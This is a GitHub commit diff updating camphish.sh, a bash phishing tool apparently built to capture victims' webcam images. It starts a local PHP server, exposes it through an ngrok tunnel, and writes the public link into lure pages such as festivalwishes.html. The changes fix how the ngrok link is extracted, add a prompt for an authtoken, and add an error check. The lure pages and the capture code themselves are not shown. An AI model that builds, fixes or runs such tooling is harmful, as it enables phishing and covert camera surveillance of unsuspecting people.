Skip to content

Commit 6b65297

Browse files
authored
Update camphish.sh
Ngrok Direct link issue fixed
1 parent 27e7264 commit 6b65297

File tree

1 file changed

+12
-8
lines changed

1 file changed

+12
-8
lines changed

‎camphish.sh‎

Lines changed: 12 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
#!/bin/bash
2-
# CamPhish v1.0
2+
# CamPhish v1.1
33
# Powered by TechChip
44
# Credits goes to thelinuxchoice [github.com/thelinuxchoice/]
55

@@ -14,8 +14,8 @@ printf "\e[1;92m | | | (___) || || || |\e[0m\e[1;77m| (____)|| (___) | |
1414
printf "\e[1;92m | | | ___ || |(_)| |\e[0m\e[1;77m| _____)| ___ | | | (_____ )| ___ |\e[0m\n"
1515
printf "\e[1;92m | | | ( ) || | | |\e[0m\e[1;77m| ( | ( ) | | | ) || ( ) |\e[0m\n"
1616
printf "\e[1;92m | (____/\| ) ( || ) ( |\e[0m\e[1;77m| ) | ) ( |___) (___/\____) || ) ( |\e[0m\n"
17-
printf "\e[1;92m (_______/|/ \||/ \|\e[0m\e[1;77m|/ |/ \|\_______/\_______)|/ \|\e[0m\n\n"
18-
17+
printf "\e[1;92m (_______/|/ \||/ \|\e[0m\e[1;77m|/ |/ \|\_______/\_______)|/ \|\e[0m\n"
18+
printf " \e[1;93m CamPhish Ver 1.1 \e[0m \n"
1919
printf " \e[1;77m www.techchip.net | youtube.com/techchipnet \e[0m \n"
2020

2121
printf "\n"
@@ -122,7 +122,7 @@ printf '\e[1;93m[\e[0m\e[1;77m+\e[0m\e[1;93m] Direct link:\e[0m\e[1;77m %s\n' $s
122122

123123
payload_ngrok() {
124124

125-
link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[0-9a-z]*\.ngrok.io")
125+
link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o 'https://[^/"]*\.ngrok.io')
126126
sed 's+forwarding_link+'$link'+g' template.php > index.php
127127
if [[ $option_tem -eq 1 ]]; then
128128
sed 's+forwarding_link+'$link'+g' festivalwishes.html > index3.html
@@ -197,17 +197,22 @@ exit 1
197197
fi
198198
fi
199199
fi
200-
200+
read -p $'\e[1;92m[\e[0m\e[1;77m+\e[0m\e[1;92m] Enter your valid ngrok authtoken: \e[0m' ngrok_auth
201+
./ngrok authtoken $ngrok_auth > /dev/null 2>&1 &
201202
printf "\e[1;92m[\e[0m+\e[1;92m] Starting php server...\n"
202203
php -S 127.0.0.1:3333 > /dev/null 2>&1 &
203204
sleep 2
204205
printf "\e[1;92m[\e[0m+\e[1;92m] Starting ngrok server...\n"
205206
./ngrok http 3333 > /dev/null 2>&1 &
206207
sleep 10
207208

208-
link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[0-9a-z]*\.ngrok.io")
209+
link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o 'https://[^/"]*\.ngrok.io')
210+
if [[ -z "$link" ]]; then
211+
printf "\e[1;31m[!] Direct link is not generating, check your ngrok authtoken \e[0m\n"
212+
exit 1
213+
else
209214
printf "\e[1;92m[\e[0m*\e[1;92m] Direct link:\e[0m\e[1;77m %s\e[0m\n" $link
210-
215+
fi
211216
payload_ngrok
212217
checkfound
213218
}
@@ -280,4 +285,3 @@ checkfound
280285
banner
281286
dependencies
282287
camphish
283-

0 commit comments

Comments
 (0)